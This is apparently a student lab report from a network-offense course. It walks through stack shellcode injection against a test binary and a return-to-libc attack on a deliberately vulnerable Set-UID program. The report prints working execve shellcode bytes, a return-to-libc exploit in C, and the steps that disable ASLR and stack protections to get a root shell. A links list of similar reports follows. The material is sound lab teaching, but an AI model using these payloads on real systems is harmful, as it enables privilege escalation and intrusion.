20145330 《网络对抗》PC平台逆向破解:注入shellcode

实验步骤

1、用于获取shellcode的C语言代码

2、设置环境

Bof攻击防御技术

  • 需要手动设置环境使注入的shellcode到堆栈上可执行。
  • 具体在终端输入如下:

root@KaliYL:~# execstack -s pwnyx //设置堆栈可执行
root@KaliYL:~# execstack -q pwnyx //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

在输入前需要安装execstack


apt-cache search execstack
apt-get install execstack

第一次安装并没有成功,在请教了张梓同学后得知是虚拟机没有连网,所以无法安装成功,需要关闭虚拟机,选择网络适配器将网桥改为net,再次打开虚拟机输入命令安装成功。

3. 构造要注入的payload

我们这个buf够放在shellcode,结构为:nops+shellcode+retaddr。nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

  • 在终端中输入如下:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。

    特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
  • 接下来确定\x4\x3\x2\x1到底该填什么。

打开一个终端注入这段攻击buf:

再开另外一个终端,用gdb来调试pwnyx这个进程,找到pwnyx的进程号

//1、找到pwnyx的进程号是:2440

//2、启动gdb调试这个进程

ret完,就跳到我们覆盖的retaddr那个地方了

通过设置断点,来查看注入buf的内存地址

此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

通过如下方式寻找需要输入的地址:

看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd32c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd330

回到另一个终端(将之前那个终端quit退出),将input_shellcode修改如下:

perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

并没有成功,查找原因。

重新又来了一遍...结果发现是粘贴代码的时候\x30\xd3(我的输入地址)这里粘成\x30\xd6了...结果死活检查不出来,以后还是要细心一些。就当巩固知识了。

成功。

20145330 Return-to-libc 攻击实验

一、实验描述

在做过缓冲区溢出漏洞实验后,进行了本次实验。

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。但是保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。

这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

二、实验准备

提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

1、输入命令安装一些用于编译 32 位 C 程序的东西:


sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev

2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash:

三、实验步骤

3.1 初始设置

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序:


sudo su cd /bin rm sh ln -s zsh sh exit

为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:


gcc -z execstack -o test test.c #栈可执行 gcc -z noexecstack -o test test.c #栈不可执行

本次实验的目的,就是展示这个“栈不可执行”的保护措施并不是完全有效,所以我们使用“-z noexecstack”,或者不手动指定而使用编译器的默认设置。

3.2 漏洞程序

把以下代码保存为“retlib.c”文件,保存到 /tmp 目录下。代码如下:


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}

编译该程序,并设置 SET-UID。命令如下:


sudo su gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c chmod u+s retlib exit

上述程序有一个缓冲区溢出漏洞,它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做“badfile”的文件获得输入的,这个文件受用户控制。现在我们的目标是为“badfile”创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序:


/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h> int main(int argc, char const *argv[])
{
char *ptr; if(argc < 3){
printf("Usage: %s <environment var> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
return 0;
}

3.3 攻击程序

把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:


/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times *(long *) &buf[32] =0x11111111; // "//bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}

代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。

3.4 获取内存地址

1、用刚才的 getenvaddr 程序获得 BIN_SH 地址:

我的地址为0xffffdef4

2、gdb 获得 system 和 exit 地址:

修改 exploit.c 文件,填上刚才找到的内存地址:

删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c:

3.5 攻击

先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

运行攻击程序,生成badlife文件

运行漏洞程序,可见攻击成功,获得了root权限。

20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验的更多相关文章

  1. 20155334 网络对抗PC平台逆向破解(二)

    注入Shellcode并运行攻击 shellcode就是一段机器指令(code) 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe) ...

  2. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  3. 20145240《网络对抗》PC平台逆向破解_advanced

    PC平台逆向破解_advanced shellcode注入 Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是 ...

  4. 20145218张晓涵 PC平台逆向破解_advanced

    ---恢复内容开始--- 20145218张晓涵 PC平台逆向破解_advanced shellcode注入 基础知识 shellcode就是在利用溢出攻击溢出时要值入的代码,也就是溢出后去执行的代码 ...

  5. 20145312 《网络对抗》PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验

    20145312 <网络对抗>PC平台逆向破解:注入shellcode和 Return-to-libc 攻击实验 注入shellcode 实验步骤 1. 准备一段Shellcode 2. ...

  6. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  7. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  8. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  9. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

随机推荐

  1. 学习计划 mysql 用户管理与权限

    最近在学习数据库的 主从复制 里面涉及到了关于用户及其管理权限的赋予,之前一直没有认真的学习这个. 现在想具体的学习一下. -- 为什么 数据库 要实现多用户管理? 举个最简单的例子,你需要和第三方做 ...

  2. 学习计划 mysql 整数类型后面的数字,是什么意思?

    Mysql中定义整数类型的数字,是指定这个字段的长度么? 比如 INT(10) 10代表10个字节么?还是只能存储10为长度的数字内容? 今天本来想学习下字符类型,一下子发现了这个,感觉好有趣. -- ...

  3. es fielddata理解

    在es中,text类型的字段使用一种叫做fielddata的查询时内存数据结构.当字段被排序,聚合或者通过脚本访问时这种数据结构会被创建.它是通过从磁盘读取每个段的整个反向索引来构建的,然后存存储在j ...

  4. 【Jmeter】如何通过文件导入方式对用户名和密码进行参数化设置

    JMeter 参数化 注意:param和data body只能用一个.所有任何一个里面有内容,切换都会报错,这不是问题,jmeter是这么设计的 方法一:通过添加CSV Data Set Config ...

  5. list的方法、操作

    序号 分类 关键字 / 函数 / 方法 说明 1 增加 列表.insert(索引, 数据) 在指定位置插入数据     列表.append(数据) 在末尾追加数据     列表.extend(列表2) ...

  6. JVM学习笔记-内存管理

    第一章 内存分配 1. 内存区域.     方法区和堆(线程共享),程序计数器 , VM栈 和 本地方法栈(线程隔离).     1) java虚拟机栈:线程私有.描写叙述的是java方法执行的内存模 ...

  7. 008-spring cloud gateway-路由谓词RoutePredicate、RoutePredicateFactory

    一.概述 Spring Cloud Gateway将路由作为Spring WebFlux HandlerMapping基础结构的一部分进行匹配. Spring Cloud Gateway包含许多内置的 ...

  8. poj3468A Simple Problem with Integers(线段树的区域更新)

    http://poj.org/problem?id=3468 真心觉得这题坑死我了,一直错,怎么改也没戏,最后tjj把q[rt].lz改成了long long 就对了,真心坑啊. 线段树的区域更新. ...

  9. HTML <input> <button> <submit>

    定义和用法 value 属性规定与按钮关联的初始值.请始终为按钮规定 type 属性,如果不填默认值是 "submit".submit其实就是一个特殊的button. <bu ...

  10. 机器学习理论基础学习3.4--- Linear classification 线性分类之Gaussian Discriminant Analysis高斯判别模型

    一.什么是高斯判别模型? 二.怎么求解参数?